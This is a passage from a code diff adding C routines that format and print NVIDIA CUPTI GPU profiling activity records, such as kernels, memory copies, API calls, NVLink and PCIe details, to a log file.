contextId %u, streamId %u, graphId %u, graphNodeId %llu, channelId %u, channelType %s\n", + GetActivityKindString(pKernelRecord->kind), + (unsigned long long)pKernelRecord->start, + (unsigned long long)pKernelRecord->end, + (unsigned long long)(pKernelRecord->end - pKernelRecord->start), + GetName(pKernelRecord->name), + pKernelRecord->correlationId, + pKernelRecord->cacheConfig.config.requested, + pKernelRecord->cacheConfig.config.executed, + pKernelRecord->gridX, + pKernelRecord->gridY, + pKernelRecord->gridZ, + pKernelRecord->blockX, + pKernelRecord->blockY, + pKernelRecord->blockZ, + pKernelRecord->clusterX, + pKernelRecord->clusterY, + pKernelRecord->clusterZ, + pKernelRecord->staticSharedMemory, + pKernelRecord->dynamicSharedMemory, + pKernelRecord->deviceId, + pKernelRecord->contextId, + pKernelRecord->streamId, + pKernelRecord->graphId, + (unsigned long long)pKernelRecord->graphNodeId, + pKernelRecord->channelID, + GetChannelType(pKernelRecord->channelType)); + + break; + } + case CUPTI_ACTIVITY_KIND_DRIVER: + case CUPTI_ACTIVITY_KIND_RUNTIME: + case CUPTI_ACTIVITY_KIND_INTERNAL_LAUNCH_API: + { + CUpti_ActivityAPI *pApiRecord = (CUpti_ActivityAPI *)pRecord; + const char* pName = NULL; + + if (pApiRecord->kind == CUPTI_ACTIVITY_KIND_DRIVER) + { + cuptiGetCallbackName(CUPTI_CB_DOMAIN_DRIVER_API, pApiRecord->cbid, &pName); + } + else if (pApiRecord->kind == CUPTI_ACTIVITY_KIND_RUNTIME) + { + cuptiGetCallbackName(CUPTI_CB_DOMAIN_RUNTIME_API, pApiRecord->cbid, &pName); + } + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, \"%s\", cbid %u, processId %u, threadId %u, correlationId %u\n", + GetActivityKindString(pApiRecord->kind), + (unsigned long long)pApiRecord->start, + (unsigned long long)pApiRecord->end, + (unsigned long long)(pApiRecord->end - pApiRecord->start), + GetName(pName), + pApiRecord->cbid, + pApiRecord->processId, + pApiRecord->threadId, + pApiRecord->correlationId); + + break; + } + case CUPTI_ACTIVITY_KIND_DEVICE: + { + CUpti_ActivityDevice5 *pDeviceRecord = (CUpti_ActivityDevice5 *)pRecord; + + fprintf(pFileHandle, "%s %s [ %u ]\n", + GetActivityKindString(pDeviceRecord->kind), + GetName(pDeviceRecord->name), + pDeviceRecord->id); + + break; + } + case CUPTI_ACTIVITY_KIND_CONTEXT: + { + CUpti_ActivityContext3 *pContextRecord = (CUpti_ActivityContext3 *)pRecord; + + fprintf(pFileHandle, "%s computeApiKind %s, contextId %u, deviceId %u, nullStreamId %d, CIG mode %d\n", + GetActivityKindString(pContextRecord->kind), + GetComputeApiKindString((CUpti_ActivityComputeApiKind) pContextRecord->computeApiKind), + pContextRecord->contextId, + pContextRecord->deviceId, + (int)pContextRecord->nullStreamId, + pContextRecord->cigMode); + + break; + } + case CUPTI_ACTIVITY_KIND_NAME: + { + CUpti_ActivityName *pNameRecord = (CUpti_ActivityName *)pRecord; + + switch(pNameRecord->objectKind) + { + case CUPTI_ACTIVITY_OBJECT_CONTEXT: + { + fprintf(pFileHandle, "%s %s %u %s id %u, name %s\n", + GetActivityKindString(pNameRecord->kind), + GetActivityObjectKindString(pNameRecord->objectKind), + GetActivityObjectKindId(pNameRecord->objectKind, &pNameRecord->objectId), + GetActivityObjectKindString(CUPTI_ACTIVITY_OBJECT_DEVICE), + GetActivityObjectKindId(CUPTI_ACTIVITY_OBJECT_DEVICE, &pNameRecord->objectId), + GetName(pNameRecord->name)); + + break; + } + case CUPTI_ACTIVITY_OBJECT_STREAM: + { + fprintf(pFileHandle, "%s %s %u %s %u %s id %u, name %s\n", + GetActivityKindString(pNameRecord->kind), + GetActivityObjectKindString(pNameRecord->objectKind), + GetActivityObjectKindId(pNameRecord->objectKind, &pNameRecord->objectId), + GetActivityObjectKindString(CUPTI_ACTIVITY_OBJECT_CONTEXT), + GetActivityObjectKindId(CUPTI_ACTIVITY_OBJECT_CONTEXT, &pNameRecord->objectId), + GetActivityObjectKindString(CUPTI_ACTIVITY_OBJECT_DEVICE), + GetActivityObjectKindId(CUPTI_ACTIVITY_OBJECT_DEVICE, &pNameRecord->objectId), + GetName(pNameRecord->name)); + + break; + } + default: + { + fprintf(pFileHandle, "%s %s id %u, name %s\n", + GetActivityKindString(pNameRecord->kind), + GetActivityObjectKindString(pNameRecord->objectKind), + GetActivityObjectKindId(pNameRecord->objectKind, &pNameRecord->objectId), + GetName(pNameRecord->name)); + break; + } + } + + break; + } + case CUPTI_ACTIVITY_KIND_MARKER: + { + CUpti_ActivityMarker2 *pMarkerRecord = (CUpti_ActivityMarker2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu ] id %u, domain %s, name %s\n", + GetActivityKindString(pMarkerRecord->kind), + (unsigned long long)pMarkerRecord->timestamp, + pMarkerRecord->id, + GetDomainName(pMarkerRecord->domain), + GetName(pMarkerRecord->name)); + + break; + } + case CUPTI_ACTIVITY_KIND_MARKER_DATA: + { + CUpti_ActivityMarkerData *pMarkerDataRecord = (CUpti_ActivityMarkerData *)pRecord; + + fprintf(pFileHandle, "%s id %u, color 0x%x, category %u, payload %llu/%f\n", + GetActivityKindString(pMarkerDataRecord->kind), + pMarkerDataRecord->id, + pMarkerDataRecord->color, + pMarkerDataRecord->category, + (unsigned long long)pMarkerDataRecord->payload.metricValueUint64, + pMarkerDataRecord->payload.metricValueDouble); + + break; + } + case CUPTI_ACTIVITY_KIND_SOURCE_LOCATOR: + { + CUpti_ActivitySourceLocator *pSourceLocatorRecord = (CUpti_ActivitySourceLocator *)pRecord; + + char line[LINE_SIZE]; + FILE *pLocalFileHandle = NULL; + + if ((pLocalFileHandle = fopen(pSourceLocatorRecord->fileName, "rt")) == NULL) + { + fprintf(pFileHandle, "Failed to open source file: %s\n", pSourceLocatorRecord->fileName); + } + else + { + uint32_t temp = 0; + + while (pSourceLocatorRecord->lineNumber > temp) + { + if (fgets(line, LINE_SIZE, pLocalFileHandle) == NULL) + { + fprintf(pFileHandle, "Line %d could not be found in file %s.\n", + pSourceLocatorRecord->lineNumber, pSourceLocatorRecord->fileName); + break; + } + + temp++; + } + fprintf(pFileHandle, "%d, %s", pSourceLocatorRecord-> id, line); + fclose(pLocalFileHandle); + } + + break; + } + case CUPTI_ACTIVITY_KIND_GLOBAL_ACCESS: + { + CUpti_ActivityGlobalAccess3 *pGlobalAccessRecord = (CUpti_ActivityGlobalAccess3 *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%llx, correlationId %u, operation %s, isCached %s, size %u,\n" + " executed %u, threadsExecuted %llu, transactions %llu, optimizedTransactions %llu\n", + GetActivityKindString(pGlobalAccessRecord->kind), + pGlobalAccessRecord->sourceLocatorId, + pGlobalAccessRecord->functionId, + (unsigned long long)pGlobalAccessRecord->pcOffset, + pGlobalAccessRecord->correlationId, + ((pGlobalAccessRecord->flags & CUPTI_ACTIVITY_FLAG_GLOBAL_ACCESS_KIND_LOAD) ? "Load" : "Store"), + ((pGlobalAccessRecord->flags & CUPTI_ACTIVITY_FLAG_GLOBAL_ACCESS_KIND_CACHED) ? "Yes" : "No"), + (uint32_t)(pGlobalAccessRecord->flags & CUPTI_ACTIVITY_FLAG_GLOBAL_ACCESS_KIND_SIZE_MASK), + pGlobalAccessRecord->executed, + (unsigned long long)pGlobalAccessRecord->threadsExecuted, + (unsigned long long)pGlobalAccessRecord->l2_transactions, + (unsigned long long)pGlobalAccessRecord->theoreticalL2Transactions); + + break; + } + case CUPTI_ACTIVITY_KIND_BRANCH: + { + CUpti_ActivityBranch2 *pBranchRecord = (CUpti_ActivityBranch2 *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%x, correlationId %u,\n" + " executed %u, threadsExecuted %llu, diverged %u\n", + GetActivityKindString(pBranchRecord->kind), + pBranchRecord->sourceLocatorId, + pBranchRecord->functionId, + pBranchRecord->pcOffset, + pBranchRecord->correlationId, + pBranchRecord->executed, + (unsigned long long)pBranchRecord->threadsExecuted, + pBranchRecord->diverged); + + break; + } + case CUPTI_ACTIVITY_KIND_OVERHEAD: + { + CUpti_ActivityOverhead3 *pOverheadRecord = (CUpti_ActivityOverhead3 *)pRecord; + + fprintf(pFileHandle, "%s %s [ %llu, %llu ] duration %llu, %s, id %u, correlation id %lu\n", + GetActivityKindString(pOverheadRecord->kind), + GetActivityOverheadKindString(pOverheadRecord->overheadKind), + (unsigned long long)pOverheadRecord->start, + (unsigned long long)pOverheadRecord->end, + (unsigned long long)(pOverheadRecord->end - pOverheadRecord->start), + GetActivityObjectKindString(pOverheadRecord->objectKind), + GetActivityObjectKindId(pOverheadRecord->objectKind, &pOverheadRecord->objectId), + (unsigned long)pOverheadRecord->correlationId); + if (pOverheadRecord->overheadData) + { + switch (pOverheadRecord->overheadKind) + { + case CUPTI_ACTIVITY_OVERHEAD_COMMAND_BUFFER_FULL: + { + CUpti_ActivityOverheadCommandBufferFullData* pCommandBufferData = (CUpti_ActivityOverheadCommandBufferFullData*)pOverheadRecord->overheadData; + fprintf(pFileHandle, "CUpti_ActivityOverheadCommandBufferFullData : commandBufferLength %d channelID %d channelType %d\n", + pCommandBufferData->commandBufferLength, + pCommandBufferData->channelID, + pCommandBufferData->channelType); + break; + } + default: + { + break; + } + } + + } + + break; + } + case CUPTI_ACTIVITY_KIND_CDP_KERNEL: + { + CUpti_ActivityCdpKernel *pCdpKernelRecord = (CUpti_ActivityCdpKernel *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, \"%s\", deviceId %u, contextId %u, streamId %u, gridId %lld, correlationId %u,\n" + "\tgrid [ %u, %u, %u ], block [ %u, %u, %u ], registersPerThread %u, sharedMemory (static %u, dynamic %u), parentGridId %lld, parentBlockId [ %u, %u, %u ]\n", + GetActivityKindString(pCdpKernelRecord->kind), + (unsigned long long)pCdpKernelRecord->start, + (unsigned long long)pCdpKernelRecord->end, + (unsigned long long)(pCdpKernelRecord->end - pCdpKernelRecord->start), + GetName(pCdpKernelRecord->name), + pCdpKernelRecord->deviceId, + pCdpKernelRecord->contextId, + pCdpKernelRecord->streamId, + (long long)pCdpKernelRecord->gridId, + pCdpKernelRecord->correlationId, + pCdpKernelRecord->gridX, + pCdpKernelRecord->gridY, + pCdpKernelRecord->gridZ, + pCdpKernelRecord->blockX, + pCdpKernelRecord->blockY, + pCdpKernelRecord->blockZ, + pCdpKernelRecord->registersPerThread, + pCdpKernelRecord->staticSharedMemory, + pCdpKernelRecord->dynamicSharedMemory, + (long long)pCdpKernelRecord->parentGridId, + pCdpKernelRecord->parentBlockX, + pCdpKernelRecord->parentBlockY, + pCdpKernelRecord->parentBlockZ); + + break; + } + case CUPTI_ACTIVITY_KIND_PREEMPTION: + { + CUpti_ActivityPreemption *pPreemptionRecord = (CUpti_ActivityPreemption *)pRecord; + + fprintf(pFileHandle, "%s preemptionKind %s [ %llu ] gridId %lld, block [ %u, %u, %u ]\n", + GetActivityKindString(pPreemptionRecord->kind), + GetPreemptionKindString(pPreemptionRecord->preemptionKind), + (unsigned long long)pPreemptionRecord->timestamp, + (long long)pPreemptionRecord->gridId, + pPreemptionRecord->blockX, + pPreemptionRecord->blockY, + pPreemptionRecord->blockZ); + + break; + } + case CUPTI_ACTIVITY_KIND_ENVIRONMENT: + { + CUpti_ActivityEnvironment *pEnvironmentRecord = (CUpti_ActivityEnvironment *)pRecord; + + switch (pEnvironmentRecord->environmentKind) + { + case CUPTI_ACTIVITY_ENVIRONMENT_SPEED: + { + fprintf(pFileHandle, "%s: kind=SPEED, deviceId %u, timestamp %llu, memoryClock %u, smClock %u, pcieLinkGen %u, pcieLinkWidth %u, clocksThrottleReasons %u\n", + GetActivityKindString(pEnvironmentRecord->kind), + pEnvironmentRecord->deviceId, + (unsigned long long)pEnvironmentRecord->timestamp, + pEnvironmentRecord->data.speed.memoryClock, + pEnvironmentRecord->data.speed.smClock, + pEnvironmentRecord->data.speed.pcieLinkGen, + pEnvironmentRecord->data.speed.pcieLinkWidth, + pEnvironmentRecord->data.speed.clocksThrottleReasons); + + break; + } + case CUPTI_ACTIVITY_ENVIRONMENT_TEMPERATURE: + { + fprintf(pFileHandle, "%s: kind=TEMPERATURE, deviceId %u, timestamp %llu, gpuTemperature %u\n", + GetActivityKindString(pEnvironmentRecord->kind), + pEnvironmentRecord->deviceId, + (unsigned long long)pEnvironmentRecord->timestamp, + pEnvironmentRecord->data.temperature.gpuTemperature); + + break; + } + case CUPTI_ACTIVITY_ENVIRONMENT_POWER: + { + fprintf(pFileHandle, "%s: kind=POWER, deviceId %u, timestamp %llu, power %u, powerLimit %u\n", + GetActivityKindString(pEnvironmentRecord->kind), + pEnvironmentRecord->deviceId, + (unsigned long long)pEnvironmentRecord->timestamp, + pEnvironmentRecord->data.power.power, + pEnvironmentRecord->data.power.powerLimit); + + break; + } + case CUPTI_ACTIVITY_ENVIRONMENT_COOLING: + { + fprintf(pFileHandle, "%s: kind=COOLING, deviceId %u, timestamp %llu, fanSpeed %u\n", + GetActivityKindString(pEnvironmentRecord->kind), + pEnvironmentRecord->deviceId, + (unsigned long long)pEnvironmentRecord->timestamp, + pEnvironmentRecord->data.cooling.fanSpeed); + + break; + } + default: + break; + } + + break; + } + case CUPTI_ACTIVITY_KIND_MEMCPY2: + { + CUpti_ActivityMemcpyPtoP4 *pMemcpyPtoPRecord = (CUpti_ActivityMemcpyPtoP4 *)pRecord; + + fprintf(pFileHandle, "%s \"%s\" [ %llu, %llu ] duration %llu, size %llu, srcKind %s, dstKind %s, correlationId %u,\n" + "\tdeviceId %u, contextId %u, streamId %u, graphId %u, graphNodeId %llu, channelId %u, channelType %s\n" + "\tsrcDeviceId %u, srcContextId %u, dstDeviceId %u, dstContextId %u\n", + GetActivityKindString(pMemcpyPtoPRecord->kind), + GetMemcpyKindString((CUpti_ActivityMemcpyKind)pMemcpyPtoPRecord->copyKind), + (unsigned long long)pMemcpyPtoPRecord->start, + (unsigned long long)pMemcpyPtoPRecord->end, + (unsigned long long)(pMemcpyPtoPRecord->end - pMemcpyPtoPRecord->start), + (unsigned long long)pMemcpyPtoPRecord->bytes, + GetMemoryKindString((CUpti_ActivityMemoryKind)pMemcpyPtoPRecord->srcKind), + GetMemoryKindString((CUpti_ActivityMemoryKind)pMemcpyPtoPRecord->dstKind), + pMemcpyPtoPRecord->correlationId, + pMemcpyPtoPRecord->deviceId, + pMemcpyPtoPRecord->contextId, + pMemcpyPtoPRecord->streamId, + pMemcpyPtoPRecord->graphId, + (unsigned long long)pMemcpyPtoPRecord->graphNodeId, + pMemcpyPtoPRecord->channelID, + GetChannelType(pMemcpyPtoPRecord->channelType), + pMemcpyPtoPRecord->srcDeviceId, + pMemcpyPtoPRecord->srcContextId, + pMemcpyPtoPRecord->dstDeviceId, + pMemcpyPtoPRecord->dstContextId); + + break; + } + case CUPTI_ACTIVITY_KIND_INSTRUCTION_EXECUTION: + { + CUpti_ActivityInstructionExecution *pInstructionExecutionRecord = (CUpti_ActivityInstructionExecution *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%x, correlationId %u,\n" + " valid %s, executed %u, threadsExecuted %llu, notPredOffThreadsExecuted %llu\n", + GetActivityKindString(pInstructionExecutionRecord->kind), + pInstructionExecutionRecord->sourceLocatorId, + pInstructionExecutionRecord->functionId, + pInstructionExecutionRecord->pcOffset, + pInstructionExecutionRecord->correlationId, + ((pInstructionExecutionRecord->flags & CUPTI_ACTIVITY_FLAG_INSTRUCTION_VALUE_INVALID) ? "no" : "yes"), + pInstructionExecutionRecord->executed, + (unsigned long long)pInstructionExecutionRecord->threadsExecuted, + (unsigned long long)pInstructionExecutionRecord->notPredOffThreadsExecuted); + + break; + } + case CUPTI_ACTIVITY_KIND_UNIFIED_MEMORY_COUNTER: + { + CUpti_ActivityUnifiedMemoryCounter2 *pUnifiedMemoryCounterRecord = (CUpti_ActivityUnifiedMemoryCounter2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, counterKind %s, value %llu, address %llx, srcId %u, dstId %u, processId %u\n", + GetActivityKindString(pUnifiedMemoryCounterRecord->kind), + (unsigned long long)pUnifiedMemoryCounterRecord->start, + (unsigned long long)pUnifiedMemoryCounterRecord->end, + (unsigned long long)(pUnifiedMemoryCounterRecord->end - pUnifiedMemoryCounterRecord->start), + GetUvmCounterKindString(pUnifiedMemoryCounterRecord->counterKind), + (unsigned long long)pUnifiedMemoryCounterRecord->value, + (unsigned long long)pUnifiedMemoryCounterRecord->address, + pUnifiedMemoryCounterRecord->srcId, + pUnifiedMemoryCounterRecord->dstId, + pUnifiedMemoryCounterRecord->processId); + + break; + } + case CUPTI_ACTIVITY_KIND_FUNCTION: + { + CUpti_ActivityFunction *pFunctionRecord = (CUpti_ActivityFunction *)pRecord; + + fprintf(pFileHandle, "%s id %u, contextId %u, moduleId %u, functionIndex %u, name %s\n", + GetActivityKindString(pFunctionRecord->kind), + pFunctionRecord->id, + pFunctionRecord->contextId, + pFunctionRecord->moduleId, + pFunctionRecord->functionIndex, + GetName(pFunctionRecord->name)); + + break; + } + case CUPTI_ACTIVITY_KIND_MODULE: + { + CUpti_ActivityModule *pModuleRecord = (CUpti_ActivityModule *)pRecord; + + fprintf(pFileHandle, "%s contextId %u, id %d, cubinSize %d\n", + GetActivityKindString(pModuleRecord->kind), + pModuleRecord->contextId, + pModuleRecord->id, + pModuleRecord->cubinSize); + + break; + } + case CUPTI_ACTIVITY_KIND_DEVICE_ATTRIBUTE: + { + CUpti_ActivityDeviceAttribute *pDeviceAttributeRecord = (CUpti_ActivityDeviceAttribute *)pRecord; + + fprintf(pFileHandle, "%s %u, deviceId %u, value 0x%llx\n", + GetActivityKindString(pDeviceAttributeRecord->kind), + pDeviceAttributeRecord->attribute.cupti, + pDeviceAttributeRecord->deviceId, + (unsigned long long)pDeviceAttributeRecord->value.vUint64); + + break; + } + case CUPTI_ACTIVITY_KIND_SHARED_ACCESS: + { + CUpti_ActivitySharedAccess *pSharedAccessRecord = (CUpti_ActivitySharedAccess *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%x, correlationId %u,\n" + " op %s, size %u, executed %u, threadsExecuted %llu, sharedTransactions %llu, optimizedTransactions %llu\n", + GetActivityKindString(pSharedAccessRecord->kind), + pSharedAccessRecord->sourceLocatorId, + pSharedAccessRecord->functionId, + pSharedAccessRecord->pcOffset, + pSharedAccessRecord->correlationId, + ((pSharedAccessRecord->flags & CUPTI_ACTIVITY_FLAG_SHARED_ACCESS_KIND_LOAD) ? "Load" : "Store"), + (uint32_t)(pSharedAccessRecord->flags & CUPTI_ACTIVITY_FLAG_SHARED_ACCESS_KIND_SIZE_MASK), + pSharedAccessRecord->executed, + (unsigned long long)pSharedAccessRecord->threadsExecuted, + (unsigned long long)pSharedAccessRecord->sharedTransactions, + (unsigned long long)pSharedAccessRecord->theoreticalSharedTransactions); + + break; + } + case CUPTI_ACTIVITY_KIND_PC_SAMPLING: + { + CUpti_ActivityPCSampling3 *pPcSamplingRecord = (CUpti_ActivityPCSampling3 *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%llx, correlationId %u, samples %u, latencySamples %u, stallReason %s\n", + GetActivityKindString(pPcSamplingRecord->kind), + pPcSamplingRecord->sourceLocatorId, + pPcSamplingRecord->functionId, + (unsigned long long)pPcSamplingRecord->pcOffset, + pPcSamplingRecord->correlationId, + pPcSamplingRecord->samples, + pPcSamplingRecord->latencySamples, + GetStallReasonString(pPcSamplingRecord->stallReason)); + + break; + } + case CUPTI_ACTIVITY_KIND_PC_SAMPLING_RECORD_INFO: + { + CUpti_ActivityPCSamplingRecordInfo *pPcSamplingRecordInfo = (CUpti_ActivityPCSamplingRecordInfo *)pRecord; + + fprintf(pFileHandle, "%s correlationId %u, totalSamples %llu, droppedSamples %llu, samplingPeriodInCycles %llu\n", + GetActivityKindString(pPcSamplingRecordInfo->kind), + pPcSamplingRecordInfo->correlationId, + (unsigned long long)pPcSamplingRecordInfo->totalSamples, + (unsigned long long)pPcSamplingRecordInfo->droppedSamples, + (unsigned long long)pPcSamplingRecordInfo->samplingPeriodInCycles); + + break; + } + case CUPTI_ACTIVITY_KIND_INSTRUCTION_CORRELATION: + { + CUpti_ActivityInstructionCorrelation *pInstructionCorrelationRecord = (CUpti_ActivityInstructionCorrelation *)pRecord; + + fprintf(pFileHandle, "%s sourceLocatorId %u, functionId %u, pcOffset 0x%x\n", + GetActivityKindString(pInstructionCorrelationRecord->kind), + pInstructionCorrelationRecord->sourceLocatorId, + pInstructionCorrelationRecord->functionId, + pInstructionCorrelationRecord->pcOffset); + + break; + } + case CUPTI_ACTIVITY_KIND_OPENACC_DATA: + { + CUpti_ActivityOpenAccData *pOpenaccDataRecord = (CUpti_ActivityOpenAccData *)pRecord; + + PrintOpenaccCommon(pFileHandle, (CUpti_ActivityOpenAcc*)pOpenaccDataRecord); + + fprintf(pFileHandle, ", bytes %llu, varName %s\n", + (long long unsigned)pOpenaccDataRecord->bytes, + pOpenaccDataRecord->varName ? pOpenaccDataRecord->varName : "?"); + + break; + } + case CUPTI_ACTIVITY_KIND_OPENACC_LAUNCH: + { + CUpti_ActivityOpenAccLaunch *pOpenaccLaunchRecord = (CUpti_ActivityOpenAccLaunch *)pRecord; + + PrintOpenaccCommon(pFileHandle, (CUpti_ActivityOpenAcc*)pOpenaccLaunchRecord); + + fprintf(pFileHandle, ", numGangs %llu, numWorkers %llu, vectorLength %llu, kernelName %s\n", + (long long unsigned)pOpenaccLaunchRecord->numGangs, + (long long unsigned)pOpenaccLaunchRecord->numWorkers, + (long long unsigned)pOpenaccLaunchRecord->vectorLength, + pOpenaccLaunchRecord->kernelName ? pOpenaccLaunchRecord->kernelName : "?"); + + break; + } + case CUPTI_ACTIVITY_KIND_OPENACC_OTHER: + { + CUpti_ActivityOpenAccOther *pOpenaccOtherRecord = (CUpti_ActivityOpenAccOther *)pRecord; + + PrintOpenaccCommon(pFileHandle, (CUpti_ActivityOpenAcc*)pOpenaccOtherRecord); + printf("\n"); + + break; + } + case CUPTI_ACTIVITY_KIND_CUDA_EVENT: + { + CUpti_ActivityCudaEvent2 *pCudaEventRecord = (CUpti_ActivityCudaEvent2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu ] contextId %u, streamId %u, correlationId %u, eventId %u, cudaEventSyncId %llu\n", + GetActivityKindString(pCudaEventRecord->kind), + (long long unsigned)pCudaEventRecord->deviceTimestamp, + pCudaEventRecord->contextId, + pCudaEventRecord->streamId, + pCudaEventRecord->correlationId, + pCudaEventRecord->eventId, + (long long unsigned)pCudaEventRecord->cudaEventSyncId); + + break; + } + case CUPTI_ACTIVITY_KIND_STREAM: + { + CUpti_ActivityStream *pStreamRecord = (CUpti_ActivityStream *)pRecord; + + fprintf(pFileHandle, "%s type %s, priority %u, contextId %u, streamId %u, correlationId %u\n", + GetActivityKindString(pStreamRecord->kind), + GetStreamType(pStreamRecord->flag), + pStreamRecord->priority, + pStreamRecord->contextId, + pStreamRecord->streamId, + pStreamRecord->correlationId); + break; + } + case CUPTI_ACTIVITY_KIND_SYNCHRONIZATION: + { + CUpti_ActivitySynchronization2 *pSynchronizationRecord = (CUpti_ActivitySynchronization2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, type %s, contextId %u, streamId %d, correlationId %u, eventId %d, cudaEventSyncId %llu\n", + GetActivityKindString(pSynchronizationRecord->kind), + (unsigned long long)pSynchronizationRecord->start, + (unsigned long long)pSynchronizationRecord->end, + (unsigned long long)(pSynchronizationRecord->end - pSynchronizationRecord->start), + GetSynchronizationType(pSynchronizationRecord->type), + pSynchronizationRecord->contextId, + (int32_t)pSynchronizationRecord->streamId, + pSynchronizationRecord->correlationId, + (int32_t)pSynchronizationRecord->cudaEventId, + (long long unsigned)pSynchronizationRecord->cudaEventSyncId); + + break; + } + case CUPTI_ACTIVITY_KIND_EXTERNAL_CORRELATION: + { + CUpti_ActivityExternalCorrelation *pExternalCorrelationRecord = (CUpti_ActivityExternalCorrelation *)pRecord; + + fprintf(pFileHandle, "%s externalKind %s, correlationId %llu, externalId %llu\n", + GetActivityKindString(pExternalCorrelationRecord->kind), + GetExternalCorrelationKindString(pExternalCorrelationRecord->externalKind), + (long long unsigned)pExternalCorrelationRecord->correlationId, + (long long unsigned)pExternalCorrelationRecord->externalId); + + break; + } + case CUPTI_ACTIVITY_KIND_NVLINK: + { + CUpti_ActivityNvLink4 *pNvLinkRecord = (CUpti_ActivityNvLink4 *)pRecord; + unsigned int i = 0; + + fprintf(pFileHandle, "%s typeDev0 %s, typeDev1 %s, sysmem %d, peer %d, physicalNvLinkCount %d, ", + GetActivityKindString(pNvLinkRecord->kind), + GetDevTypeNvlink(pNvLinkRecord->typeDev0), + GetDevTypeNvlink(pNvLinkRecord->typeDev1), + ((pNvLinkRecord->flag & CUPTI_LINK_FLAG_SYSMEM_ACCESS) ? 1 : 0), + ((pNvLinkRecord->flag & CUPTI_LINK_FLAG_PEER_ACCESS) ? 1 : 0), + pNvLinkRecord->physicalNvLinkCount); + + fprintf(pFileHandle, "portDev0 "); + for (i = 0 ; i < pNvLinkRecord->physicalNvLinkCount ; i++ ) + { + fprintf(pFileHandle, "%d, ", pNvLinkRecord->portDev0[i]); + } + + + fprintf(pFileHandle, "portDev1 "); + for (i = 0 ; i < pNvLinkRecord->physicalNvLinkCount ; i++ ) + { + fprintf(pFileHandle, "%d, ", pNvLinkRecord->portDev1[i]); + } + + fprintf(pFileHandle, "bandwidth %llu\n", (long long unsigned int)pNvLinkRecord->bandwidth); + + break; + } + case CUPTI_ACTIVITY_KIND_MEMORY: + { + CUpti_ActivityMemory *pMemoryRecord = (CUpti_ActivityMemory *)(void *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, size %llu bytes, address %llu, memoryKind %s, deviceId %u, contextId %u, processId %u\n", + GetActivityKindString(pMemoryRecord->kind), + (unsigned long long)pMemoryRecord->start, + (unsigned long long)pMemoryRecord->end, + (unsigned long long)(pMemoryRecord->end - pMemoryRecord->start), + (unsigned long long)pMemoryRecord->bytes, + (unsigned long long)pMemoryRecord->address, + GetMemoryKindString(pMemoryRecord->memoryKind), + pMemoryRecord->deviceId, + pMemoryRecord->contextId, + pMemoryRecord->processId); + + break; + } + case CUPTI_ACTIVITY_KIND_PCIE: + { + CUpti_ActivityPcie *pPcieRecord = (CUpti_ActivityPcie *)pRecord; + + if (pPcieRecord->type == CUPTI_PCIE_DEVICE_TYPE_GPU) + { + fprintf(pFileHandle, "%s GPU %u, domain %u, upstreamBus %u, link rate %u GT/s, link width %u bits.\n", + GetActivityKindString(pPcieRecord->kind), + pPcieRecord->id.devId, + pPcieRecord->domain, + pPcieRecord->upstreamBus, + pPcieRecord->linkRate, + pPcieRecord->linkWidth); + } + else if (pPcieRecord->type == CUPTI_PCIE_DEVICE_TYPE_BRIDGE) + { + fprintf(pFileHandle, "%s bridgeId %u, domain %u, upstream Bus %u, downstream Bus %u, link rate %u GT/s, link width %u bits.\n", + GetActivityKindString(pPcieRecord->kind), + pPcieRecord->id.bridgeId, + pPcieRecord->domain, + pPcieRecord->upstreamBus, + pPcieRecord->attr.bridgeAttr.secondaryBus, + pPcieRecord->linkRate, + pPcieRecord->linkWidth); + } + + break; + } + case CUPTI_ACTIVITY_KIND_OPENMP: + { + CUpti_ActivityOpenMp *pOpenMpRecord = (CUpti_ActivityOpenMp *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, eventKind %u, cuProcessId %u, cuThreadId %u\n", + GetActivityKindString(pOpenMpRecord->kind), + (unsigned long long)pOpenMpRecord->start, + (unsigned long long)pOpenMpRecord->end, + (unsigned long long)(pOpenMpRecord->end - pOpenMpRecord->start), + pOpenMpRecord->eventKind, + pOpenMpRecord->cuProcessId, + pOpenMpRecord->cuThreadId); + + break; + } + case CUPTI_ACTIVITY_KIND_MEMORY2: + { + CUpti_ActivityMemory4 *pMemory2Record = (CUpti_ActivityMemory4 *)(void *)pRecord; + + fprintf(pFileHandle, "%s [ %llu ] memoryOperationType %s, memoryKind %s, size %llu, address %llu, pc %llu,\n" + " deviceId %u, contextId %u, streamId %u, processId %u, correlationId %u, isAsync %u,\n" + " memoryPool %s, memoryPoolAddress %llu, memoryPoolThreshold %llu\n" + " source %s\n" + , + GetActivityKindString(pMemory2Record->kind), + (unsigned long long)pMemory2Record->timestamp, + GetMemoryOperationTypeString(pMemory2Record->memoryOperationType), + GetMemoryKindString(pMemory2Record->memoryKind), + (unsigned long long)pMemory2Record->bytes, + (unsigned long long)pMemory2Record->address, + (unsigned long long)pMemory2Record->PC, + pMemory2Record->deviceId, + pMemory2Record->contextId, + pMemory2Record->streamId, + pMemory2Record->processId, + pMemory2Record->correlationId, + pMemory2Record->isAsync, + GetMemoryPoolTypeString(pMemory2Record->memoryPoolConfig.memoryPoolType), + (unsigned long long)pMemory2Record->memoryPoolConfig.address, + (unsigned long long)pMemory2Record->memoryPoolConfig.releaseThreshold + ,pMemory2Record->source + ); + + if (pMemory2Record->memoryPoolConfig.memoryPoolType == CUPTI_ACTIVITY_MEMORY_POOL_TYPE_LOCAL) + { + fprintf(pFileHandle, ", memoryPoolSize: %llu, memoryPoolUtilizedSize: %llu", + (unsigned long long)pMemory2Record->memoryPoolConfig.pool.size, + (unsigned long long)pMemory2Record->memoryPoolConfig.utilizedSize); + } + else if (pMemory2Record->memoryPoolConfig.memoryPoolType == 